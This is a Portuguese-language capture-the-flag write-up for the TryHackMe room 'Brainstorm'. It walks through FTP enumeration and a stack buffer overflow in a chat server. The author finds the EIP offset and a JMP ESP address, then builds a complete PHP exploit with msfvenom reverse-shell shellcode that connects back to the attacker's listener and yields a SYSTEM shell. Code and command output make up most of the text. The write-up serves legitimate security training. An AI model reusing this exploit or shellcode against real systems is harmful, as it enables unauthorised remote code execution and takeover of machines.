.d8888b. 8888888888 .d8888b. 888888888 .d8888b. d88P Y88b d88P d88P Y88b 888 d88P Y88b 888 888 d88P .d88P 888 888 888 888 888 888 888 d88P 8888" 8888888b. Y88b. d888 888 888 `Y8bd8P' 88888888 "Y8b. "Y88b "Y888P888 888 888 X88K d88P 888 888 888 888 Y88b d88P .d8""8b. d88P Y88b d88P Y88b d88P Y88b d88P "Y8888P" 8888 8888 d88P "Y8888P" "Y8888P" "Y8888P"

[ Autor: Nicholas Ferreira ]


[0x2] Brainstorm writeup - TryHackMe (em português)

13/06/2021



Neste texto eu apresentarei minha resolução para a sala Brainstorm do TryHackMe. A exploração da máquina envolve enumeração FTP e exploração de um stack buffer overflow presente em uma aplicação que está rodando como um serviço nela. O objetivo é conseguir o conteúdo da flag.txt, presente na máquina alvo.

Enumeração

Iniciando a máquina, recebemos o IP 10.10.22.112. Vamos rodar um scan para ver as portas abertas:


>_
nich0las@0x7359:~$ nmap 10.10.22.112 -v -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-13 19:26 -03
Initiating Parallel DNS resolution of 1 host. at 19:26
Completed Parallel DNS resolution of 1 host. at 19:26, 0.24s elapsed
Initiating Connect Scan at 19:26
Scanning 10.10.22.112 [1000 ports]
Discovered open port 3389/tcp on 10.10.22.112
Discovered open port 21/tcp on 10.10.22.112
Discovered open port 9999/tcp on 10.10.22.112
Completed Connect Scan at 19:27, 24.83s elapsed (1000 total ports)
Nmap scan report for 10.10.22.112
Host is up (0.33s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
21/tcp open ftp
3389/tcp open ms-wbt-server
9999/tcp open abyss


Há um servidor FTP rodando na porta 21 que aceita login anônimo:


>_
nich0las@0x7359:~$ ftp 10.10.22.112
Connected to 10.10.22.112.
220 Microsoft FTP Service
Name (10.10.22.112:nicholas): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection.
08-29-19 08:36PM <DIR> chatserver
226 Transfer complete.
ftp> cd chatserver
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection.
08-29-19 10:26PM 43747 chatserver.exe
08-29-19 10:27PM 30761 essfunc.dll
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> get chatserver.exe
local: chatserver.exe remote: chatserver.exe
200 PORT command successful.
150 Opening BINARY mode data connection.
226 Transfer complete.
43747 bytes received in 2.05 secs (20.8335 kB/s)
ftp> get essfunc.dll
local: essfunc.dll remote: essfunc.dll
200 PORT command successful.
150 Opening BINARY mode data connection.
226 Transfer complete.
30761 bytes received in 5.65 secs (5.3204 kB/s)
ftp>


Nele, encontramos dois arquivos executáveis, que foram baixados (após alterar o FTP para modo binário).

Analisando os executáveis

Enviando os arquivos para uma máquina virtual Windows e executando o chatserver.exe, vemos que ele inicia um servidor de chat:


>_
C:\Users\Sim\Downloads>chatserver.exe
Chat Server started!
Called essential function dll version 1.00

Waiting for connections.


Usando netstat /ab, conseguimos ver os executáveis que estão estabelecendo ou esperando por conexões, e descobrimos que a porta 9999 aberta no host é a porta que o chat usa:


>_
C:\Users\Sim\Downloads>netstat /ab
...
...
0.0.0.0:9999 DESKTOP-DLLS6BE:0 LISTENING
[chatserver.exe]


Usando o netcat, conseguimos conectar no IP da máquina virtual e na porta 9999:


>_
nich0las@0x7359:~$ nc 192.168.122.83 9999
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): AAAAAAAAAAAAAАААААAAAAAAAAAAAAAAAАААААAA
write a message: teste

Sun Jun 13 19:30:57 2021
AAAAAAAAAAAAAАААААAA said: teste
Write a message:


Após algumas tentativas, vemos que o input de usuário não parece vulnerável, já que ele sempre considera apenas os 20 primeiros caracteres do nome inserido. O input de mensagem, porém, ao receber um valor muito grande, faz com que a aplicação pare de funcionar.


>_
nich0las@0x7359:~$ nc 192.168.122.83 9999
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): test
write a message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
...
...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Para analisar melhor o que ocorreu, vou utilizar o x32dbg. Abrindo a aplicação nele e realizando o mesmo teste, verificamos que o conteúdo dos registradores EAX, ESP e EIP foi sobreposto com os "A"s que enviamos. Além disso, o programa crashou por ter tentado acessar a região de memória 0x41414141.

Registradores

Access violation

Isso acontece porque sobrescrevemos (com os "A"s) todo o espaço de memória dedicado ao conteúdo da mensagem e os "A"s continuaram até sobrepor o endereço de retorno e o conteúdo do stack pointer, que fica abaixo do endereço de retorno na pilha. Ao sobrescrever o endereço de retorno com os "A"s, a aplicação tenta executar a instrução localizada no endereço 0x41414141, correspondende aos "A"s, e falha, já que o endereço não é válido.

Stack


Isso mostra que conseguimos controlar o EIP. O próximo passo é encontrar sua offset exata, e para isso eu vou usar um código que eu mesmo fiz baseado no msf pattern create, chamado PHPattern. Ele basicamente cria um padrão único de caracteres que serão enviados para fazer a aplicação crashar, de tal modo que a análise do valor do EIP permite descobrir qual o número exato de bytes deve ser enviado para chegar até ele.

Encontrando o EIP


>_
nich0las@0x7359:~$ php PHPattern.php fuzz 3000
  _____  _    _ _____      _   _
| __ \| | | | __ \ | | | |
| |__) | |__| | |__) |_ _| |_| |_ ___ _ __ _ __
| ___/| __ | ___/ _ | __| __/ _ \ '__| '_ \
| | | | | | | | (_| | |_| || __/ | | | | |
|_| |_| |_|_| \__,_|\__|\__\___|_| |_| |_|
0x7359 - Nicholas Ferreira
Generate patterns for buffer overflow POC and retrieve the EIP address (if found) AA10AA11AA12AA13AA14AA15AA16AA17AA18AA19AA20AA21AA22AA23AA24AA25AA26AA27AA28 AA29AA30AA31AA32AA33AA34AA35AA36AA37AA38AA39AA40AA41AA42AA43AA44AA45AA46AA47 AA48AA49AA50AA51AA52AA53AA54AA55AA56AA57AA58AA59AA60AA61AA62AA63AA64AA65AA66 ... ... 79AH80AH81AH82AH83AH84AH85AH86AH87AH88AH89AH90AH91AH92AH93AH94AH95AH96AH97AH 98AH99AI10AI11AI12AI13AI14AI15AI16AI17AI18AI19AI20AI21AI22AI23AI24AI25AI26AI 27AI28AI29AI30AI31AI32AI33AI34AI35AI36AI37AI38AI39
O código acima gera 3000 caracteres seguindo esse padrão, e ele já pode ser enviado para a aplicação. Podemos fazer isso manualmente, mas vou fazer um código em PHP para enviar isso via socket.
<?php
$socket = stream_socket_client("tcp://192.168.122.83:9999");
if($socket){
  while(!feof($socket)){
    echo fread($socket, 1024);
    echo fread($socket, 1024);
    fwrite($socket, "teste\n"); //envia o nome do usuário p/ aplicação
    echo fread($socket, 1024);
    $junk = "AA10AA11AA12AA13AA14AA15AA16AA17AA18.......AI35AI36AI37AI38AI39\n";
    fwrite($socket,$junk); //envia a string p/ crashar a aplicação
    echo fread($socket, 1024);
  }
}
?>


Ao enviar essa string, a aplicação crasha e o valor do EIP agora é 0x33364641.

EIP

Exception

Copiando este valor e usando o PHPattern no modo find, encontramos o valor exato de bytes que precisamos para chegarmos ao EIP, que é de 2012 bytes:


>_
nich0las@0x7359:~$ php PHPattern.php find 33364641
  _____  _    _ _____      _   _ 
 |  __ \| |  | |  __ \    | | | |
 | |__) | |__| | |__) |_ _| |_| |_ ___ _ __ _ __
 |  ___/|  __  |  ___/ _ | __| __/ _ \ '__| '_ \
 | |    | |  | | |  | (_| | |_| ||  __/ |  | | | |
 |_|    |_|  |_|_|   \__,_|\__|\__\___|_|  |_| |_|
                      0x7359  -  Nicholas Ferreira

Generate patterns for buffer overflow POC
and retrieve the EIP address (if found)

[i] No length provided, using the max: 3767680.
[+] You need 2012 bytes to reach EIP.


Sobrescrevendo o ESP

Modificando nosso código, podemos configurá-lo para enviar 2012 "A"s e depois 4 "B"s para testar. Se der certo, veremos o EIP com o valor de 0x42424242, correspondende aos 4 "B"s. Além disso, vou enviar também alguns "C"s para continuar o overflow e chegar no ESP.

<?php

$socket = stream_socket_client("tcp://192.168.122.83:9999");
if($socket){
  while(!feof($socket)){
    echo fread($socket, 1024);
    echo fread($socket, 1024);
    fwrite($socket, "teste\n");
    echo fread($socket, 1024);
    $junk = "";
    for($i=0;$i<2012;$i++){ //gera uma string com 2012 bytes       $junk .= b"A";     }     $eip = b"BBBB"; //valor que sobcrescreverá o EIP     $esp = b"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC";     fwrite($socket,$junk.$eip.$esp); //envia 2012 "A"s, 4 "B"s e alguns "C"s       echo fread($socket, 1024);   } } ?>


Dessa vez, como esperado, o EIP teve o valor de 0x42424242 e vemos que o ESP foi sobrescrito com os "C"s enviados.

EIP, ESP

Analisando a stack, podemos ver os 2012 "A"s que enviamos para chegarmos até o endereço do EIP (0xFDEEA4), os 4 "B"s presentes nesse endereço e os "C"s na área relativa ao ESP.

Stack

Encontrando o JMP ESP

O código malicioso que nos dará acesso à máquina algo será colocado no ESP, já que conseguimos injetar bytes arbitrários nele. Como podemos fazer isso e podemos também controlar o EIP, ou seja, conseguimos controlar o fluxo do programa, podemos injetar nosso código no ESP e modificar o EIP de tal modo que ele aponte para o ESP. Ou seja, a próxima instrução que a aplicação executará será a que estiver localizada no segmento de memória relativa ao ESP, e é justamente lá que estará nosso código malicioso.

Para fazer isso, precisamos antes encontrar alguma instrução JMP ESP nos módulos da aplicação. Usando CTRL+F e procurando po JMP ESP no módulo chatserver.exe, não encontramos nada.

Nenhum JMP ESP

Contudo, usando ALT+E para ver os módulos, selecionando o módulo essfunc.dll e fazendo a busca novamente, encontramos vários locais onde esta instrução aparece.

essfunc.dll

Podemos selecionar o primeiro deles para testar e anotar seu endereço (0x625014DF).

JMP ESP

Para testar esse endereço, podemos colocar um breakpoint nele e editar nosso código para que a variável $eip tenha agora esse endereço.
//0x625014DF
$eip = b"\xDF\x14\x50\x62";


Repare que o endereço 0x625014DF entrou no código "de trás para frente" porque a aplicação trabalha em little endian, então os bytes chegarão lá invertidos, como veremos a seguir. Rodando o código, vemos que a aplicação chega no breakpoint que setamos em 0x625014DF, sinal que conseguimos fazê-la executar a instrução JMP ESP.

Breakpoint

Identificando badchars

Agora, precisamos checar se há algum caractere específico que possa fazer a aplicação travar. Em alguns casos, caracteres como o null byte, o carriage return (\r), o newline (\n), etc, não são bem recebidos pela aplicação e não são injetados em sua memória. Então, se nosso sh possuir algum desses caracteres, ele não será executado como deveria. Para evitar isso, precisamos identificar os caracteres ruins (badchars) para removê-los na hora de gerar nosso sh.

Para isso, vou enviar os bytes de 0x01 até 0xff no lugar dos "C"s que enviei antes. Já estou excluindo o nullbyte porque ele quase sempre é problemático.


$esp = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f \x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20 \x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30 \x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40 \x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50 \x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60 \x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70 \x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80 \x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90 \x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0 \xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0 \xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0 \xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0 \xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0 \xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0 \xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff";


Badchars

Seguindo o ESP no dump, podemos ver os 2012 "A"s que enviamos, o 0x625014DF no lugar o EIP e os bytes de 0x00 até 0xff. Constatamos que todos os caracteres chegaram na aplicação sem problemas. Se houvesse algum badchar, a partir dele haveria um desalinhamento dos bytes e facilmente detectaríamos isso no dump. Então, nosso único badchar é o 0x00.

Gerando o payload


Para gerarmos o payload, usaremos o msfvenom, com o payload windows/shell_reverse_tcp e passaremos o 0x00 como badchar.


>_
nich0las@0x7359:~$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.122.1 LPORT=7359 -f python -b "\x00"
...
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf = b""
buf += b"\xb8\x83\xaa\x87\xfb\xdb\xd6\xd9\x74\x24\xf4\x5e\x33"
buf += b"\xc9\xb1\x52\x83\xc6\x04\x31\x46\x0e\x03\xc5\xa4\x65"
buf += b"\x0e\x35\x50\xeb\xf1\xc5\xa1\x8c\x78\x20\x90\x8c\x1f"
buf += b"\x21\x83\x3c\x6b\x67\x28\xb6\x39\x93\xbb\xba\x95\x94"
buf += b"\x0c\x70\xc0\x9b\x8d\x29\x30\xba\x0d\x30\x65\x1c\x2f"
buf += b"\xfb\x78\x5d\x68\xe6\x71\x0f\x21\x6c\x27\xbf\x46\x38"
buf += b"\xf4\x34\x14\xac\x7c\xa9\xed\xcf\xad\x7c\x65\x96\x6d"
buf += b"\x7f\xaa\xa2\x27\x67\xaf\x8f\xfe\x1c\x1b\x7b\x01\xf4"
buf += b"\x55\x84\xae\x39\x5a\x77\xae\x7e\x5d\x68\xc5\x76\x9d"
buf += b"\x15\xde\x4d\xdf\xc1\x6b\x55\x47\x81\xcc\xb1\x79\x46"
buf += b"\x8a\x32\x75\x23\xd8\x1c\x9a\xb2\x0d\x17\xa6\x3f\xb0"
buf += b"\xf7\x2e\x7b\x97\xd3\x6b\xdf\xb6\x42\xd6\x8e\xc7\x94"
buf += b"\xb9\x6f\x62\xdf\x54\x7b\x1f\x82\x30\x48\x12\x3c\xc1"
buf += b"\xc6\x25\x4f\xf3\x49\x9e\xc7\xbf\x02\x38\x10\xbf\x38"
buf += b"\xfc\x8e\x3e\xc3\xfd\x87\x84\x97\xad\xbf\x2d\x98\x25"
buf += b"\x3f\xd1\x4d\xe9\x6f\x7d\x3e\x4a\xdf\x3d\xee\x22\x35"
buf += b"\xb2\xd1\x53\x36\x18\x7a\xf9\xcd\xcb\x45\x56\xb7\x0a"
buf += b"\x2e\xa5\x47\x11\x11\x20\xa1\x43\x7d\x65\x7a\xfc\xe4"
buf += b"\x2c\xf0\x9d\xe9\xfa\x7d\x9d\x62\x09\x82\x50\x83\x64"
buf += b"\x90\x05\x63\x33\xca\x80\x7c\xe9\x62\x4e\xee\x76\x72"
buf += b"\x19\x13\x21\x25\x4e\xe5\x38\xa3\x62\x5c\x93\xd1\x7e"
buf += b"\x38\xdc\x51\xa5\xf9\xe3\x58\x28\x45\xc0\x4a\xf4\x46"
buf += b"\x4c\x3e\xa8\x10\x1a\xe8\x0e\xcb\xec\x42\xd9\xa0\xa6"
buf += b"\x02\x9c\x8a\x78\x54\xa1\xc6\x0e\xb8\x10\xbf\x56\xc7"
buf += b"\x9d\x57\x5f\xb0\xc3\xc7\xa0\x6b\x40\xf7\xea\x31\xe1"
buf += b"\x90\xb2\xa0\xb3\xfc\x44\x1f\xf7\xf8\xc6\x95\x88\xfe"
buf += b"\xd7\xdc\x8d\xbb\x5f\x0d\xfc\xd4\x35\x31\x53\xd4\x1f"


Nop sliding

Feito isso, precisamos fazer algumas modificações para que o código gerado seja compatível com o PHP.
Além dessas alterações, uma última modificação será necessária para que o payload seja executado sem problemas. Antes do payload, entre ele e o EIP, vamos enviar vários NOPS (no operation). Essa instrução faz com o que a aplicação simplesmente vá para a próxima instrução, que, se for outro NOP, fará ela ir para a próxima, e assim por diante.

Essa técnica, conhecida como NOP sliding, garante que o JMP ESP irá apontar para um endereço antes do nosso shellcode. Em alguns casos, há algumas diferenças na execução do código que fazem com que o jump caia depois do começo do payload, o que é um problema. Ao colocar vários NOPs antes dele, isso aumenta a área em que o jump pode cair, e se ele cair em qualquer lugar desses NOPs, ele simplesmente vai seguir até começar a executar o payload normalmente.

O código final do exploit ficou assim:

<?php


$socket = stream_socket_client("tcp://192.168.122.83:9999");
if($socket){
  while(!feof($socket)){
    echo fread($socket, 1024);
    echo fread($socket, 1024);
    fwrite($socket, "teste\n");
    echo fread($socket, 1024);
    $junk = "";
    for($i=0;$i<2012;$i++){       $junk .= b"A";     }     //0x625014DF     $eip = b"\xDF\x14\x50\x62"; // jmp esp     $nop = b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //nop sliding     $sh = b""; // esp     $sh .= b"\xb8\x83\xaa\x87\xfb\xdb\xd6\xd9\x74\x24\xf4\x5e\x33";     $sh .= b"\xc9\xb1\x52\x83\xc6\x04\x31\x46\x0e\x03\xc5\xa4\x65";     $sh .= b"\x0e\x35\x50\xeb\xf1\xc5\xa1\x8c\x78\x20\x90\x8c\x1f";     $sh .= b"\x21\x83\x3c\x6b\x67\x28\xb6\x39\x93\xbb\xba\x95\x94";     $sh .= b"\x0c\x70\xc0\x9b\x8d\x29\x30\xba\x0d\x30\x65\x1c\x2f";     $sh .= b"\xfb\x78\x5d\x68\xe6\x71\x0f\x21\x6c\x27\xbf\x46\x38";     $sh .= b"\xf4\x34\x14\xac\x7c\xa9\xed\xcf\xad\x7c\x65\x96\x6d";     $sh .= b"\x7f\xaa\xa2\x27\x67\xaf\x8f\xfe\x1c\x1b\x7b\x01\xf4";     $sh .= b"\x55\x84\xae\x39\x5a\x77\xae\x7e\x5d\x68\xc5\x76\x9d";     $sh .= b"\x15\xde\x4d\xdf\xc1\x6b\x55\x47\x81\xcc\xb1\x79\x46";     $sh .= b"\x8a\x32\x75\x23\xd8\x1c\x9a\xb2\x0d\x17\xa6\x3f\xb0";     $sh .= b"\xf7\x2e\x7b\x97\xd3\x6b\xdf\xb6\x42\xd6\x8e\xc7\x94";     $sh .= b"\xb9\x6f\x62\xdf\x54\x7b\x1f\x82\x30\x48\x12\x3c\xc1";     $sh .= b"\xc6\x25\x4f\xf3\x49\x9e\xc7\xbf\x02\x38\x10\xbf\x38";     $sh .= b"\xfc\x8e\x3e\xc3\xfd\x87\x84\x97\xad\xbf\x2d\x98\x25";     $sh .= b"\x3f\xd1\x4d\xe9\x6f\x7d\x3e\x4a\xdf\x3d\xee\x22\x35";     $sh .= b"\xb2\xd1\x53\x36\x18\x7a\xf9\xcd\xcb\x45\x56\xb7\x0a";     $sh .= b"\x2e\xa5\x47\x11\x11\x20\xa1\x43\x7d\x65\x7a\xfc\xe4";     $sh .= b"\x2c\xf0\x9d\xe9\xfa\x7d\x9d\x62\x09\x82\x50\x83\x64";     $sh .= b"\x90\x05\x63\x33\xca\x80\x7c\xe9\x62\x4e\xee\x76\x72";     $sh .= b"\x19\x13\x21\x25\x4e\xe5\x38\xa3\x62\x5c\x93\xd1\x7e";     $sh .= b"\x38\xdc\x51\xa5\xf9\xe3\x58\x28\x45\xc0\x4a\xf4\x46";     $sh .= b"\x4c\x3e\xa8\x10\x1a\xe8\x0e\xcb\xec\x42\xd9\xa0\xa6";     $sh .= b"\x02\x9c\x8a\x78\x54\xa1\xc6\x0e\xb8\x10\xbf\x56\xc7";     $sh .= b"\x9d\x57\x5f\xb0\xc3\xc7\xa0\x6b\x40\xf7\xea\x31\xe1";     $sh .= b"\x90\xb2\xa0\xb3\xfc\x44\x1f\xf7\xf8\xc6\x95\x88\xfe";     $sh .= b"\xd7\xdc\x8d\xbb\x5f\x0d\xfc\xd4\x35\x31\x53\xd4\x1f";     // envia 2012 bytes + 0x625014DF (JMP ESP) + NOPs + shellcode     fwrite($socket,$junk.$eip.$nop.$sh);     echo fread($socket, 1024);   } } ?>


Como usamos um payload de shell reversa, precisamos configurar um listener na porta que foi configurada na hora de gerar o exploit (no meu caso, a porta 7359).


>_
nich0las@0x7359:~$ nc -l 7359


Ao executar o exploit, recebemos uma shell reversa, como esperado.


>_
nich0las@0x7359:~$ nc -vl 7359 Listening on 0.0.0.0 7359 Connection received on 192.168.122.83 60708 Microsoft Windows [versto 10.0.19042.631] (c) 2020 Microsoft Corporation. Todos os direitos reservados. C:\Users\Sim\Downloads>


Agora, basta gerarmos um novo payload com o LHOST setado como o IP da VPN do TryHackMe e trocarmos o IP do socket do nosso exploit para o IP da máquina alvo:

$socket = stream_socket_client("tcp://10.10.22.112:9999");


Rodando o exploit, recebemos a shell já como root. A key do root fica na área de trabalho do usuário drake.


>_
nich0las@0x7359:~$ nc -vl 7359
Listening on 0.0.0.0 7359
Connection received on 10.10.22.112 60708
Microsoft Windows [versto 10.0.19042.631]
(c) 2020 Microsoft Corporation. Todos os direitos reservados.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>dir C:\Users\drake\Desktop
Volume in drive C has no label.
Volume Serial Number is C87F-5040

Directory of c:\Users\drake\Desktop

08/29/2019 10:55 PM <DIR> .
08/29/2019 10:55 PM <DIR> ..
08/29/2019 10:55 PM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 19,662,311,424 bytes free



=)